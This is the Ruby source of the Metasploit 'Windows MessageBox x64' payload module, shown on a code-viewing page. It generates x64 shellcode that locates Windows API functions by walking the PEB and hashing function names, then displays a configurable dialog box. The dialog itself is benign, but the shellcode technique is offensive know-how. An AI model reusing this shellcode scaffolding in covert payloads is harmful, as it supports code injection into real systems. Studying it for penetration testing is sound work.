Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/x64/messagebox.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 32289include Msf::Payload::Windows10include Msf::Payload::Single1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Windows MessageBox x64',15'Description' => 'Spawn a dialog via MessageBox using a customizable title, text & icon',16'Author' => [17'pasta <jaguinaga[at]infobytesec.com>'18],19'License' => GPL_LICENSE,20'Platform' => 'win',21'Arch' => ARCH_X6422))2324icon_opts = ['NO', 'ERROR', 'INFORMATION', 'WARNING', 'QUESTION']25register_options(26[27OptString.new('TITLE', [true, "Messagebox Title", "MessageBox"]),28OptString.new('TEXT', [true, "Messagebox Text", "Hello, from MSF!"]),29OptEnum.new('ICON', [true, "Icon type", icon_opts[0], icon_opts])30]31)32end3334def ror(dword, arg, bits = 32)35mask = (2**arg) - 136mask_bits = dword & mask37return (dword >> arg) | (mask_bits << (bits - arg))38end3940def rol(dword, arg, bits = 32)41return ror(dword, bits - arg, bits)42end4344def hash(msg)45hash = 046msg.each_byte do |c|47hash = ror(c.ord + hash, 0xd)48end49return hash50end5152def to_unicode(msg)53return msg.encode("binary").split('').join("\x00") + "\x00\x00"54end5556def api_hash(libname, function)57return (hash(to_unicode(libname.upcase)) + hash(function)) & 0xffffffff58end5960def generate(_opts = {})61style = 0x0062case datastore['ICON'].upcase.strip63# default = NO64when 'ERROR'65style = 0x1066when 'QUESTION'67style = 0x2068when 'WARNING'69style = 0x3070when 'INFORMATION'71style = 0x4072end7374if datastore['EXITFUNC'].upcase.strip == 'PROCESS'75exitfunc_asm = %(76xor rcx,rcx77mov r10d, #{api_hash('kernel32.dll', 'ExitProcess')}78call rbp79)80elsif datastore['EXITFUNC'].upcase.strip == 'THREAD'81exitfunc_asm = %(82mov ebx, #{api_hash('kernel32.dll', 'ExitThread')}83mov r10d, #{api_hash('kernel32.dll', 'GetVersion')}84call rbp85add rsp,0x2886cmp al,0x687jl use_exitthread ; is older than Vista or Server 2003 R2?88cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX89jne use_exitthread90mov ebx, #{api_hash('ntdll.dll', 'RtlExitUserThread')}9192use_exitthread:93push 094pop rcx95mov r10d,ebx96call rbp97)98end99exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string100101payload_asm = %(102cld103and rsp,0xfffffffffffffff0104call start_main105push r9106push r8107push rdx108push rcx109push rsi110xor rdx,rdx111mov rdx,qword ptr gs:[rdx+0x60]112mov rdx,qword ptr ds:[rdx+0x18]113mov rdx,qword ptr ds:[rdx+0x20]114next_mod:115mov rsi,qword ptr ds:[rdx+0x50]116movzx rcx,word ptr ds:[rdx+0x4a]117xor r9,r9118loop_modname:119xor rax,rax120lodsb121cmp al,0x61122jl not_lowercase123sub al,0x20124not_lowercase:125ror r9d,0xd126add r9d,eax127loop loop_modname128push rdx129push r9130mov rdx,qword ptr ds:[rdx+0x20]131mov eax,dword ptr ds:[rdx+0x3c]132add rax,rdx133mov eax,dword ptr ds:[rax+0x88]134test rax,rax135je get_next_mod1136add rax,rdx137push rax138mov ecx,dword ptr ds:[rax+0x18]139mov r8d,dword ptr ds:[rax+0x20]140add r8,rdx141check_has:142jrcxz get_next_mod143dec rcx144mov esi,dword ptr ds:[r8+rcx*4]145add rsi,rdx146xor r9,r9147loop_funcname:148xor rax,rax149lodsb150ror r9d,0xd151add r9d,eax152cmp al,ah153jne loop_funcname154add r9,qword ptr ds:[rsp+0x8]155cmp r9d,r10d156jne check_has157pop rax158mov r8d,dword ptr ds:[rax+0x24]159add r8,rdx160mov cx,word ptr ds:[r8+rcx*2]161mov r8d,dword ptr ds:[rax+0x1c]162add r8,rdx163mov eax,dword ptr ds:[r8+rcx*4]164add rax,rdx165pop r8166pop r8167pop rsi168pop rcx169pop rdx170pop r8171pop r9172pop r10173sub rsp,0x20174push r10175jmp rax176get_next_mod:177pop rax178get_next_mod1:179pop r9180pop rdx181mov rdx,qword ptr ds:[rdx]182jmp next_mod183start_main:184pop rbp185lea rcx,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + datastore['TITLE'].length + 0x105}]186mov r10d, #{api_hash('kernel32.dll', 'LoadLibraryA')}187call rbp188mov r9, #{style}189lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0x103}]190lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0x104}]191xor rcx,rcx192mov r10d, #{api_hash('user32.dll', 'MessageBoxA')}193call rbp194)195196payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string197payload_data << exitfunc198payload_data << datastore['TEXT'] + "\x00"199payload_data << datastore['TITLE'] + "\x00"200payload_data << "user32.dll" + "\x00"201202return payload_data203end204end205206207